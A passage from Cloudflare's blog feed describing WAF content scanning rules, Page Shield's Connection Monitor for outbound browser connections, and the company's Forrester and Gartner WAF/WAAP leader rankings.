            </figure><p>Many other use cases can be achieved by leveraging the metadata exposed by the WAF Content Scanning engine. For example, let’s say you only wanted to allow PDF files to be uploaded on a given endpoint. You would achieve this by deploying the following WAF Custom Rule:</p><p>if: <code>any(cf.waf.content_scan.obj_types[*] != "application/pdf") and http.request.uri.path eq "/upload"</code></p><p>then: <code>BLOCK</code></p><p>This rule will, for any content file being uploaded to the /upload endpoint, block the HTTP request if at least one file is not a PDF.</p><p>More generally, let’s assume your application does not expect content to be uploaded at all. In this case, you can block any upload attempts with:</p><p>if: <code>(cf.waf.content_scan.has_obj)</code></p><p>then: <code>BLOCK</code></p><p>Another very common use case is supporting file upload endpoints that accept JSON content. In this instance files are normally embedded into a JSON payload after being base64-encoded. If your application has such an endpoint, you can provide additional metadata to the scanning engine to recognise the traffic by submitting a <a href="https://developers.cloudflare.com/waf/about/content-scanning/#custom-scan-expressions">custom scan expression</a>. Once submitted, files within JSON payloads will be parsed, decoded, and scanned automatically. In the event you want to issue a block action, you can use a <a href="https://developers.cloudflare.com/waf/custom-rules/create-dashboard/#configuring-a-custom-response-for-blocked-requests">JSON custom response type</a> so that your web application front end can easily parse and display error messages:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6lLy5oO6L0sSZuMpRwpYqf/3579d013c6073b33fe91eab44e3ad26d/image1.png" />
            
            </figure><p>The full list of fields exposed by the WAF Content Scanning engine can be found on our <a href="https://developers.cloudflare.com/waf/about/content-scanning/">developer documentation</a>.</p>
    <div>
      <h2>The engine</h2>
      <a href="#the-engine">
        
      </a>
    </div>
    
    <div>
      <h3>Scanned content objects</h3>
      <a href="#scanned-content-objects">
        
      </a>
    </div>
    <p>A lot of time designing the system was spent defining what should be scanned. Defining this properly helps us ensure that we are not scanning unnecessary content reducing latency impact and CPU usage, and that there are no bypasses making the system complementary to existing WAF functionality.</p><p>The complexity stems from the fact that there is no clear definition of a “file” in HTTP terms. That’s why in this blog post and in the system design, we refer to “content object” instead.</p><p>At a high level, although this can loosely be defined as a “file”, not all “content objects” may end up being stored in the file system of an application server! Therefore, we need a definition that applies to HTTP. Additional complexity is given by the fact this is a security product, and attackers will always try to abuse HTTP to obfuscate/hide true intentions. So for example, although a <code>Content-Type</code> header may indicate that the request body is a <code>jpeg</code> image, it may actually be a <code>pdf</code>.</p><p>With the above in mind, a “content object” as of today, is any request payload that is detected by heuristics (so no referring to the <code>Content-Type</code> header) to be anything that is <b>not</b> <code>text/html</code>, <code>text/x-shellscript</code>, <code>application/json</code> or <code>text/xml</code>. All other content types are considered a content object.</p><p>Detecting via heuristics the content type of an HTTP request body is not enough, as content objects might be found within portions of the HTTP body or encoded following certain rules, such as when using <code>multipart/form-data</code>, which is the most common encoding used when creating standard HTML file input forms.</p><p>So when certain payload formats are found, additional parsing applies. As of today the engine will automatically parse and perform content type heuristics on individual components of the payload, when the payload is either encoded using <code>multipart/form-data</code> or <code>multipart/mixed</code> or a <code>JSON</code> string that may have “content objects” embedded in base64 format <a href="https://developers.cloudflare.com/waf/about/content-scanning/#2-optional-configure-a-custom-scan-expression">as defined by the customer</a></p><p>In these cases, we don’t scan the entire payload as a single content object, but we parse it following the relevant standard and apply scanning, if necessary, to the individual portions of the payload. That allows us to support scanning of more than one content object per request, such as an HTML form that has multiple file inputs. We plan to add additional automatic detections in the future on complex payloads moving forward.</p><p>In the event we end up finding a malicious match, but we were not able to detect the content type correctly, we will default to reporting a content type of <code>application/octet-stream</code> in the Cloudflare logs/dashboards.</p><p>Finally, it is worth noting that we explicitly avoid scanning anything that is plain text (HTML, JSON, XML etc.) as finding attack vectors in these payloads is already covered by the WAF, <a href="https://www.cloudflare.com/application-services/products/api-gateway/">API Gateway</a> and other <a href="https://www.cloudflare.com/application-services/solutions/">web application security solutions</a> already present in Cloudflare’s portfolio.</p>
    <div>
      <h3>Local scans</h3>
      <a href="#local-scans">
        
      </a>
    </div>
    <p>At Cloudflare, we try to leverage our horizontal architecture to build scalable software. This means the underlying scanner is deployed on every server that handles customer HTTP/S traffic. The diagram below describes the setup:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/249nbQXwboFqmUXV7jTmph/06851ef35672f016e1ab600c3f39cd74/image5.png" />
            
            </figure><p>Having each server perform the scanning locally helps ensure latency impact is reduced to a minimum to applicable HTTP requests. The actual scanning engine is the same one used by the <a href="https://www.cloudflare.com/products/zero-trust/gateway/">Cloudflare Web Gateway</a>, our forward proxy solution that among many other things, helps keep end user devices safe by blocking attempts to download malware.</p><p>Consequently, the scanning capabilities provided match <a href="https://developers.cloudflare.com/cloudflare-one/policies/filtering/http-policies/antivirus-scanning/">those exposed by the Web Gateway AV scanning</a>. The main difference as of today, is the maximum file size currently limited at 1 MB versus 15 MB in Web Gateway. We are working on increasing this to match the Web Gateway in the coming months.</p>
    <div>
      <h2>Separating detection from mitigation</h2>
      <a href="#separating-detection-from-mitigation">
        
      </a>
    </div>
    <p>A new approach that we are adopting within our application security portfolio is the separation of detection from mitigation. The WAF Content Scanning features follow this approach, as once turned on, it simply enhances all available data and fields with scan results. The benefits here are twofold.</p><p>First, this allows us to provide visibility into your application traffic, without you having to deploy any mitigation. This automatically opens up a great use case: discovery. For large enterprise applications security teams may not be aware of which paths or endpoints might be expecting file uploads from the Internet. Using our WAF Content Scanning feature in conjunction with our <a href="/security-analytics/">new Security Analytics</a> they can now filter on request traffic that has a file content object (a file being uploaded) to observe top N paths and hostnames, exposing such endpoints.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/71OBMDvqbIhOdBnuROxNiu/5d74a14b6b2d9244f78d549cce2951da/image2.png" />
            
            </figure><p>Second, as mentioned in the prior section, exposing the intelligence provided by Cloudflare as fields that can be used in our WAF Custom Rules allows us to provide a very flexible platform. As a plus, you don’t need to learn how to use a new feature, as you are likely already familiar with our WAF Custom Rule builder.</p><p>This is not a novel idea, and our <a href="https://www.cloudflare.com/products/bot-management/">Bot Management</a> solution was the first to trial it with great success. Any customer who uses Bot Management today gains access to a bot score field that indicates the likelihood of a request coming from automation or a human. Customers use this field to deploy rules that block bots.</p><p>To that point, let’s assume you run a job applications site, and you do not wish for bots and crawlers to automatically submit job applications. You can now block file uploads coming from bots!</p><p>if: <code>(cf.bot_management.score lt 10 and cf.waf.content_scan.has_obj)</code></p><p>then: <code>BLOCK</code></p><p>And that’s the power we wish to provide at your fingertips.</p>
    <div>
      <h2>Next steps</h2>
      <a href="#next-steps">
        
      </a>
    </div>
    <p>Our WAF Content Scanning is a new feature, and we have several improvements planned, including increasing the max content size scanned, exposing the “rewrite” action, so you can send malicious files to a quarantine server, and exposing better analytics that allow you to explore the data more easily without deploying rules. Stay tuned!</p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Malware]]></category>
            <guid isPermaLink="false">5ro1lRPNQcKSIEar34o4fM</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Page Shield can now watch for malicious outbound connections made by third-party JavaScript code]]></title>
            <link>https://blog.cloudflare.com/page-shield-connection-monitor/</link>
            <pubDate>Fri, 21 Oct 2022 13:53:49 GMT</pubDate>
            <description><![CDATA[ Starting today, Page Shield can now watch for malicious outbound connections made by third-party JavaScript code ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Page Shield can now watch for malicious outbound connections made by third-party JavaScript code</p><p>Many websites use third party JavaScript libraries to cut development time by using pre-built features. Common examples include checkout services, analytics tools, or live chat integrations. Any one of these JavaScript libraries may be sending site visitors’ data to unknown locations.</p><p>If you manage a website, and you have ever wondered where end user data might be going and who has access to it, starting today, you can find out using <a href="/page-shield-generally-available/">Page Shield</a>’s Connection Monitor.</p><p>Page Shield is our client side security solution that aims to detect malicious behavior and compromises that affect the browser environment directly, such as those that exploit vulnerabilities in third party JavaScript libraries.</p><p>Connection Monitor, available from today, is the latest addition to Page Shield and allows you to see outbound connections being made by your users’ browsers initiated by third party JavaScript added to your site. You can then review this information to ensure only appropriate third parties are receiving sensitive data.</p><p>Customers on our business and enterprise plans receive visibility in outbound connections provided by Connection Monitor. If you are using our Page Shield enterprise add-on, you also get notifications whenever a connection is found to be potentially malicious.</p>
    <div>
      <h3>Covering more attack surface with Connection Monitor</h3>
      <a href="#covering-more-attack-surface-with-connection-monitor">
        
      </a>
    </div>
    <p>Connection Monitor expands the net of opportunities to catch malicious behavior that might be happening in your users’ browsers by complementing the visibility provided by <a href="https://developers.cloudflare.com/page-shield/use-dashboard/monitor-scripts/">Script Monitor</a>, the core feature of Page Shield before today.</p><p>While Script Monitor is focusing on analyzing JavaScript code to find malicious signals, Connection Monitor is looking at where data is sent to. The two features work perfectly together.</p><p>Very frequently, in fact, client side compromises within the context of web applications result in data exfiltration. The most well known example of this is <a href="/detecting-magecart-style-attacks-for-pageshield/">Magecart-style attacks</a> where a malicious actor would attempt to exfiltrate credit card data directly from the application’s check out flow (normally on e-commerce sites) without changing the application behavior.</p><p>These attacks are often hard to detect as they exploit JavaScript outside your direct control, for example an embedded widget, and operate without any noticeable effect on the user experience.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/34SLDF4HKgC56YMhyD1ncE/a4915598c91dacd4a6e3167a7a31940b/image2-15.png" />
            
            </figure>
    <div>
      <h3>Complementing Content Security Policies</h3>
      <a href="#complementing-content-security-policies">
        
      </a>
    </div>
    <p>Page Shield uses <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#:~:text=Content%20Security%20Policy%20(CSP)%20is,site%20defacement%2C%20to%20malware%20distribution.">Content Security Policies</a> (CSPs) to receive data from the browser, but complements them by focusing on the core problem: detecting malicious behavior, something that CSPs don’t do out of the box.</p><p>Content Security Policies are widely adopted and allow you, as a website administrator, to tell browsers what the browser is allowed to load and from where. This is useful in principle, but in practice CSPs are hard to maintain for large applications, and often end up being very broad making them ineffective. More importantly, CSPs provide no built-in mechanism to detect malicious behavior. This is where Page Shield helps.</p><p>Before today, with Script Monitor, Page Shield would detect malicious behavior by focusing on JavaScript files only, by running, among other things, <a href="/detecting-magecart-style-attacks-for-pageshield/">our classifier on JavaScript code</a>. Starting today, with Connection Monitor, we also perform threat intelligence feed lookups against connection URL endpoints allowing us to quickly spot potentially suspicious <a href="https://www.cloudflare.com/learning/access-management/what-is-dlp/">data leaks</a>.</p>
    <div>
      <h3>Connection Monitor: under the hood</h3>
      <a href="#connection-monitor-under-the-hood">
        
      </a>
    </div>
    <p>Connection Monitor uses the <code>connect-src</code> directive from <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#:~:text=Content%20Security%20Policy%20(CSP)%20is,site%20defacement%2C%20to%20malware%20distribution.">Content Security Policies</a> (CSPs) to receive information about outbound connections from browsers.</p><p>This information is then stored for easy access and enhanced with additional insights including connection status, connection page source, domain information, and if you have access to our enterprise add-on, threat feed intelligence.</p><p>To use Connection Monitor you need to proxy your application via Cloudflare. When turned on, it will, on a sampled percentage of HTML page loads only, insert the following HTTP response header that implements the Content Security Policy used to receive data:</p><p><code>content-security-policy-report-only: script-src 'none'; connect-src 'none'; report-uri &lt;HOSTNAME&gt;/cdn-cgi/script_monitor/report?&lt;QUERY_STRING&gt;</code></p><p>This HTTP response header asks the browser to send information regarding scripts (<code>script-src</code>) and connections (<code>connect-src</code>) to the given endpoint. By default, the endpoint hostname is <code>csp-reporting.cloudflare.com</code>, but you can change it to be the same hostname of your website if you are on our enterprise add-on.</p><p>Using the above CSP, browsers will report any <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/connect-src">connections initiated by</a>:</p><ul><li><p><code>&lt;a&gt;</code> ping,</p></li><li><p><code>fetch()</code>,</p></li><li><p><code>XMLHttpRequest</code>,</p></li><li><p><code>WebSocket</code>,</p></li><li><p><code>EventSource</code>, and</p></li><li><p><code>Navigator.sendBeacon()</code></p></li></ul><p>An example connection report is shown below:</p>
            <pre><code>"csp-report": {
    "document-uri": "https://cloudflare.com/",
    "referrer": "",
    "violated-directive": "connect-src",
    "effective-directive": "connect-src",
    "original-policy": "",
    "disposition": "report",
    "blocked-uri": "wss://example.com/",
    "line-number": 5,
    "column-number": 16,
    "source-file": "",
    "status-code": 200,
    "script-sample": ""
}</code></pre>
            <p>Using reports like the one above, we can then create an inventory of outbound connection URLs alongside which pages they were initiated by. This data is then made available via the dashboard enhanced with:</p><ul><li><p><b>Connection status</b>: Active if the connection has been seen recently</p></li><li><p><b>Timestamps:</b> First seen and last seen</p></li><li><p><b>Metadata</b>: WHOIS information, SSL certificate information, if any, domain registration information</p></li><li><p><b>Malicious signals:</b> Threat feed domain and URL lookups* </p></li></ul><p>* URL feed lookups are only available if the full connection path is being stored.</p>
    <div>
      <h3>A note on privacy</h3>
      <a href="#a-note-on-privacy">
        
      </a>
    </div>
    <p>At Cloudflare, we want to ensure both direct customer and end customer privacy. For this reason, Connection Monitor by default will only store and collect the scheme and host portion of the connection URL, so for example, if the endpoint the browser is sending data to is:</p><p><code>https://connection.example.com/session/abc</code></p><p>Connection Monitor will only store <code>https://connection.example.com</code> and drop the path <code>/session/abc</code>. This ensures that we are minimizing the risk of storing session IDs, or other sensitive data that may be found in full URLs.</p><p>Not storing the path, does mean that in some specific circumstances, we are not able to do full URL feed lookups from our threat intelligence. For this reason, if you know you are not inserting sensitive data in connection paths, you can easily turn on path storage from the dashboard. Domain lookups will continue to work as expected. Support for also storing the query string will be added in the future.</p>
    <div>
      <h3>Going further</h3>
      <a href="#going-further">
        
      </a>
    </div>
    <p>Script Monitor and Connection Monitor are only two of many directives provided by CSP that we plan to support in Page Shield. Going further, there are a number of additional features we are already working on, including the ability to suggest and implement both positive and negative policies directly from the dashboard.</p><p>We are excited to see Connection Monitor providing additional visibility in application behavior and look forward to the next evolutions.</p> ]]></content:encoded>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">3tWkaivJ9ErICRwK9uOy1o</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare named a Leader in WAF by Forrester]]></title>
            <link>https://blog.cloudflare.com/cloudflare-named-leader-waf-forrester-2022/</link>
            <pubDate>Tue, 27 Sep 2022 14:15:02 GMT</pubDate>
            <description><![CDATA[ Forester has recognised Cloudflare as a Leader in The Forrester Wave™: Web Application Firewalls, Q3 2022 report. The report evaluated 12 Web Application Firewall (WAF) providers on 24 criteria across current offering, strategy and market presence. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Forrester has recognised Cloudflare as a Leader in The Forrester Wave™: Web Application Firewalls, Q3 2022 report. The report evaluated 12 Web Application Firewall (WAF) providers on 24 criteria across current offering, strategy and market presence.</p><p>You can register for a complimentary copy of the report <a href="https://www.cloudflare.com/lp/forrester-wave-for-waf-2022/">here</a>. The report helps security and risk professionals select the correct offering for their needs.</p><p>We believe this achievement, along with recent WAF developments, reinforces our commitment and continued investment in the Cloudflare Web Application Firewall (WAF), one of our core product offerings.</p><p>The WAF, along with our DDoS Mitigation and CDN services, has in fact been an offering since Cloudflare’s founding, and we could not think of a better time to receive this recognition: Birthday Week.</p><p>We’d also like to take this opportunity to thank Forrester.</p>
    <div>
      <h3>Leading WAF in strategy</h3>
      <a href="#leading-waf-in-strategy">
        
      </a>
    </div>
    <p>Cloudflare received the highest score of all assessed vendors in the strategy category. We also received the highest possible scores in 10 criteria, including:</p><ul><li><p>Innovation</p></li><li><p>Management UI</p></li><li><p>Rule creation and modification</p></li><li><p>Log4Shell response</p></li><li><p>Incident investigation</p></li><li><p>Security operations feedback loops</p></li></ul><p>According to Forrester, “Cloudflare Web Application Firewall shines in configuration and rule creation”, “Cloudflare stands out for its active online user community and its associated response time metrics”, and “Cloudflare is a top choice for those prioritizing usability and looking for a unified application security platform.”</p>
    <div>
      <h3>Protecting web applications</h3>
      <a href="#protecting-web-applications">
        
      </a>
    </div>
    <p>The <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">core value of any WAF</a> is to keep web applications safe from external attacks by stopping any compromise attempt. Compromises can in fact lead to complete application take over and data exfiltration resulting in financial and reputational damage to the targeted organization.</p><p>The Log4Shell criterion in the Forrester Wave report is an excellent example of a real world use case to demonstrate this value.</p><p><a href="/inside-the-log4j2-vulnerability-cve-2021-44228/">Log4Shell</a> was a high severity vulnerability discovered in December 2021 that affected the popular <a href="https://logging.apache.org/log4j/">Apache Log4J software</a> commonly used by applications to implement logging functionality. The vulnerability, when exploited, allows an attacker to perform remote code execution and consequently take over the target application.</p><p>Due to the popularity of this software component, many organizations worldwide were potentially at risk after the immediate public announcement of the vulnerability on December 9, 2021.</p><p>We believe that we scored the highest possible score in the Log4Shell criterion due to our <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">fast response</a> to the announcement, by ensuring that all customers using the Cloudflare WAF were protected against the exploit in less than 17 hours globally.</p><p>We did this by deploying new managed rules (virtual patching) that were made available to all customers. The rules were deployed with a block action ensuring exploit attempts never reached customer applications.</p><p>Additionally, our continuous public updates on the subject, including regarding <a href="/how-cloudflare-security-responded-to-log4j2-vulnerability/">internal processes</a>, helped create clarity and understanding around the <a href="/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/">severity of the issue</a> and <a href="/secure-how-your-servers-connect-to-the-internet-today/">remediation steps</a>.</p><p>In the following weeks from the initial announcement, we <a href="/protection-against-cve-2021-45046-the-additional-log4j-rce-vulnerability/">updated WAF rules several times</a> following discovery of multiple <a href="/actual-cve-2021-44228-payloads-captured-in-the-wild/">variations of the attack payloads</a>.</p><p>The Cloudflare WAF ultimately “bought” valuable time for our customers to patch their back end systems before attackers may have been able to find and attempt compromise of vulnerable applications.</p><p>You can read about our response and our actions following the Log4Shell announcement in great detail on <a href="/tag/log4j/">our blog</a>.</p>
    <div>
      <h3>Use the Cloudflare WAF today</h3>
      <a href="#use-the-cloudflare-waf-today">
        
      </a>
    </div>
    <p>Cloudflare WAF keeps organizations safer while they focus on improving their applications and APIs. We integrate leading application security capabilities into a single console to protect applications with our WAF while also securing APIs, stopping DDoS attacks, blocking unwanted bots, and monitoring for 3rd party JavaScript attacks.</p><p>To start using our Cloudflare WAF today, <a href="https://dash.cloudflare.com/sign-up">sign up for an account</a>.</p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[API Security]]></category>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[Page Shield]]></category>
            <guid isPermaLink="false">3dSRzX0fy9IB9ur2XdcyCu</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare named a Leader by Gartner]]></title>
            <link>https://blog.cloudflare.com/cloudflare-waap-named-leader-gartner-magic-quadrant-2022/</link>
            <pubDate>Tue, 06 Sep 2022 16:15:44 GMT</pubDate>
            <description><![CDATA[ Gartner has recognised Cloudflare as a Leader in the 2022 "Gartner® Magic Quadrant™ for Web Application and API Protection (WAAP)" report that evaluated 11 vendors for their ‘ability to execute’ and ‘completeness of vision’ ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4faqwOuCjNSeiaq3MqY8rw/b4c0fdf3b2682a7c99a586ebc9272176/BDES-3702-Gartner-MQ-Social_Blue_V2_1200x628_NOCTA--1-.png" />
            
            </figure><p>Gartner has recognised Cloudflare as a Leader in the 2022 "Gartner® Magic Quadrant™ for Web Application and API Protection (WAAP)" report that evaluated 11 vendors for their ‘ability to execute’ and ‘completeness of vision’. You can register for a complimentary copy of the most recent Gartner WAAP report <a href="https://www.cloudflare.com/lp/gartner-cloud-web-application-api-protection-market-guide/">here</a>.</p><p>We believe this achievement highlights our continued commitment and investment in this space as we aim to provide better and more effective security solutions to our users and customers.</p>
    <div>
      <h2>Keeping up with application security</h2>
      <a href="#keeping-up-with-application-security">
        
      </a>
    </div>
    <p>With over 36 million HTTP requests per second being processed by the Cloudflare global network we get unprecedented visibility into network patterns and attack vectors. This scale allows us to effectively differentiate clean traffic from malicious, resulting in about <a href="/application-security/">1 in every 10 HTTP requests proxied by Cloudflare being mitigated at the edge</a> by our WAAP portfolio.</p><p>Visibility is not enough, and as new use cases and patterns emerge, we invest in research and new product development. For example, <a href="/landscape-of-api-traffic/">API traffic is increasing</a> (55%+ of total traffic) and we don’t expect this trend to slow down. To help customers with these new workloads, our <a href="/api-gateway/">API Gateway</a> builds upon our <a href="https://www.cloudflare.com/waf/">WAF</a> to provide better visibility and mitigations for well-structured API traffic for which we’ve observed different attack profiles compared to standard web based applications.</p><p>We believe our continued investment in application security has helped us gain our position in this space, and we’d like to thank Gartner for the recognition.</p>
    <div>
      <h2>Cloudflare WAAP</h2>
      <a href="#cloudflare-waap">
        
      </a>
    </div>
    <p>At Cloudflare, we have built several features that fall under the Web Application and API Protection (WAAP) umbrella.</p>
    <div>
      <h3>DDoS protection &amp; mitigation</h3>
      <a href="#ddos-protection-mitigation">
        
      </a>
    </div>
    <p>Our <a href="https://www.cloudflare.com/network/">network</a>, which spans more than 275 cities in over 100 countries is the backbone of our platform, and is a core component that allows us to mitigate <a href="/ddos-attack-trends-for-2022-q2/">DDoS attacks of any size</a>.</p><p>To help with this, our network is intentionally anycasted and advertises the same IP addresses from all locations, allowing us to “split” incoming traffic into manageable chunks that each location can handle with ease, and this is especially important when mitigating large volumetric Distributed Denial of Service (DDoS) attacks.</p><p>The system is designed to require little to no configuration while also being “always-on” ensuring attacks are mitigated instantly. Add to that some very smart software such as our new <a href="/location-aware-ddos-protection/">location aware mitigation</a>, and DDoS attacks become a solved problem.</p><p>For customers with very specific traffic patterns, <a href="/http-ddos-managed-rules/">full configurability of our DDoS Managed Rules</a> is just a click away.</p>
    <div>
      <h3>Web Application Firewall</h3>
      <a href="#web-application-firewall">
        
      </a>
    </div>
    <p>Our <a href="https://www.cloudflare.com/waf/">WAF</a> is a core component of our application security and ensures hackers and vulnerability scanners have a hard time trying to find potential vulnerabilities in web applications.</p><p>This is very important when zero-day vulnerabilities become publicly available as we’ve seen bad actors attempt to leverage new vectors within hours of them becoming public. <a href="/tag/log4j/">Log4J</a>, and even more recently the <a href="/cloudflare-customers-are-protected-from-the-atlassian-confluence-cve-2022-26134/">Confluence CVE</a>, are just two examples where we observed this behavior. That’s why our WAF is also backed by a team of security experts who <a href="https://developers.cloudflare.com/waf/change-log/scheduled-changes">constantly monitor and develop/improve signatures</a> to ensure we “buy” precious time for our customers to harden and patch their backend systems when necessary. Additionally, and complementary to signatures, our <a href="/waf-ml/">WAF machine learning system</a> classifies each request providing a much wider view in traffic patterns.</p><p>Our WAF comes packed with many advanced features such as <a href="https://developers.cloudflare.com/waf/exposed-credentials-check/">leaked credential checks</a>, <a href="https://developers.cloudflare.com/waf/analytics/">advanced analytics</a> and <a href="/get-notified-when-your-site-is-under-attack/">alerting</a> and <a href="https://developers.cloudflare.com/waf/managed-rulesets/payload-logging/">payload logging</a>.</p>
    <div>
      <h3>Bot Management</h3>
      <a href="#bot-management">
        
      </a>
    </div>
    <p>It is no secret that <a href="https://radar.cloudflare.com/">a large portion of web traffic is automated</a>, and while not all automation is bad, some is unnecessary and may also be malicious.</p><p>Our <a href="https://www.cloudflare.com/products/bot-management/">Bot Management</a> product works in parallel to our WAF and scores every request with the likelihood of it being generated by a bot, allowing you to easily filter unwanted traffic by deploying a WAF Custom Rule, all this backed by powerful analytics. We make this easy by also maintaining a list of <a href="https://radar.cloudflare.com/verified-bots">verified bots</a> that can be used to further improve a security policy.</p><p>In the event you want to block automated traffic, <a href="/end-cloudflare-captcha/">Cloudflare's managed challenge</a> ensures that only bots receive a hard time without impacting the experience of real users.</p>
    <div>
      <h3>API Gateway</h3>
      <a href="#api-gateway">
        
      </a>
    </div>
    <p>API traffic, by definition, is very well-structured relative to standard web pages consumed by browsers. At the same time, <a href="https://www.cloudflare.com/learning/security/api/what-is-an-api/">APIs</a> tend to be closer abstractions to back end databases and services, resulting in increased attention from malicious actors and often go unnoticed even to internal security teams (<a href="https://www.cloudflare.com/learning/security/api/what-is-shadow-api/">shadow APIs</a>).</p><p><a href="/api-gateway/">API Gateway</a>, that can be layered on top of our WAF, helps you both <a href="https://developers.cloudflare.com/api-shield/security/api-discovery/">discover API endpoints</a> served by your infrastructure, as well detect potential anomalies in traffic flows that may indicate compromise, both from a <a href="https://developers.cloudflare.com/api-shield/security/volumetric-abuse-detection/">volumetric</a> and <a href="https://developers.cloudflare.com/api-shield/security/sequential-abuse-detection/">sequential</a> perspective.</p><p>The nature of APIs also allows API Gateway to much more easily provide a positive security model contrary to our WAF: only allow known good traffic and block everything else. Customers can leverage <a href="https://developers.cloudflare.com/api-shield/security/schema-validation/">schema protection</a> and <a href="https://developers.cloudflare.com/api-shield/security/mtls/">mutual TLS authentication (mTLS)</a> to achieve this with ease.</p>
    <div>
      <h3>Page Shield</h3>
      <a href="#page-shield">
        
      </a>
    </div>
    <p>Attacks that leverage the browser environment directly can go unnoticed for some time, as they don’t necessarily require the back end application to be compromised. For example, if any third party JavaScript library used by a web application is performing malicious behavior, application administrators and users may be none the wiser while credit card details are being leaked to a third party endpoint controlled by an attacker. This is a common vector for Magecart, one of many client side security attacks.</p><p><a href="https://www.cloudflare.com/page-shield/">Page Shield</a> is solving client side security by providing active monitoring of third party libraries and <a href="https://developers.cloudflare.com/page-shield/reference/alerts/">alerting application owners whenever a third party asset shows malicious activity</a>. It leverages both public standards such as content security policies (CSP) along with <a href="/detecting-magecart-style-attacks-for-pageshield/">custom classifiers</a> to ensure coverage.</p><p>Page Shield, just like our other WAAP products, is fully integrated on the Cloudflare platform and requires one single click to turn on.</p>
    <div>
      <h3>Security Center</h3>
      <a href="#security-center">
        
      </a>
    </div>
    <p>Cloudflare's new <a href="https://www.cloudflare.com/securitycenter/">Security Center</a> is the home of the WAAP portfolio. A single place for security professionals to get a broad view across both <a href="https://developers.cloudflare.com/security-center/tasks/review-insights/">network</a> and <a href="https://developers.cloudflare.com/security-center/tasks/review-infrastructure/">infrastructure</a> assets protected by Cloudflare.</p><p>Moving forward we plan for the Security Center to be the starting point for forensics and analysis, allowing you to also leverage Cloudflare threat intelligence <a href="/security-center-investigate/">when investigating incidents</a>.</p>
    <div>
      <h2>The Cloudflare advantage</h2>
      <a href="#the-cloudflare-advantage">
        
      </a>
    </div>
    <p>Our WAAP portfolio is delivered from a single horizontal platform, allowing you to leverage all security features without additional deployments. Additionally, scaling, maintenance and updates are fully managed by Cloudflare allowing you to focus on delivering business value on your application.</p><p>This applies even beyond WAAP, as, although we started building products and services for web applications, our position in the network allows us to protect anything connected to the Internet, including teams, offices and internal facing applications. All from the same single platform. Our <a href="https://www.cloudflare.com/products/zero-trust/">Zero Trust portfolio</a> is now an integral part of our business and WAAP customers can start leveraging our <a href="https://www.cloudflare.com/learning/access-management/what-is-sase/">secure access service edge (SASE)</a> with just a few clicks.</p><p>If you are looking to consolidate your security posture, both from a management and budget perspective, application services teams can use the same platform that internal IT services teams use, to protect staff and internal networks.</p>
    <div>
      <h2>Continuous innovation</h2>
      <a href="#continuous-innovation">
        
      </a>
    </div>
    <p>We did not build our WAAP portfolio overnight, and over just the past year we’ve released more than five major WAAP portfolio security product releases. To showcase our speed of innovation, here is a selection of our top picks:</p><ul><li><p><a href="/protecting-apis-from-abuse-and-data-exfiltration/">API Shield Schema Protection</a>: traditional signature based WAF approaches (negative security model) don’t always work well with well-structured data such as API traffic. Given the fast growth in API traffic across the network we built a new incremental product that allows you to enforce API schemas directly at the edge using a positive security model: only let well-formed data through to your origin web servers;</p></li><li><p><a href="/api-abuse-detection/">API Abuse Detection</a>: complementary to API Schema Protection, API Abuse Detection warns you whenever anomalies are detected on your API endpoints. These can be triggered by unusual traffic flows or patterns that don’t follow normal traffic activity;</p></li><li><p><a href="/new-cloudflare-waf/">Our new Web Application Firewall</a>: built on top of our new Edge Rules Engine, the core Web Application Firewall received a complete overhaul, all the way from engine internals to the UI. Better performance both in terms of latency and efficacy at blocking malicious payloads, along with brand-new capabilities including but not limited to Exposed Credential Checks, account wide configurations and payload logging;</p></li><li><p><a href="/http-ddos-managed-rules/">DDoS customizable Managed Rules</a>: to provide additional configuration flexibility, we started exposing some of our internal DDoS mitigation managed rules for custom configurations to further reduce false positives and allow customers to increase thresholds / detections as required;</p></li><li><p><a href="/security-center/">Security Center</a>: Cloudflare view on infrastructure and network assets, along with alerts and notifications for miss configurations and potential security issues;</p></li><li><p><a href="/page-shield-generally-available/">Page Shield</a>: based on growing customer demand and the rise of attack vectors focusing on the end user browser environment, Page Shield helps you detect whenever malicious JavaScript may have made its way into your application’s code;</p></li><li><p><a href="/api-gateway/">API Gateway</a>: full <a href="https://www.cloudflare.com/application-services/products/api-gateway/">API management</a>, including routing directly from the Cloudflare edge, with API Security baked in, including encryption and mutual TLS authentication (mTLS);</p></li><li><p><a href="/waf-ml/">Machine Learning WAF</a>: complementary to our WAF Managed Rulesets, our new ML WAF engine, scores every single request from 1 (clean) to 99 (malicious) giving you additional visibility in both valid and non-valid malicious payloads increasing our ability to detect targeted attacks and scans towards your application;</p></li></ul>
    <div>
      <h2>Looking forward</h2>
      <a href="#looking-forward">
        
      </a>
    </div>
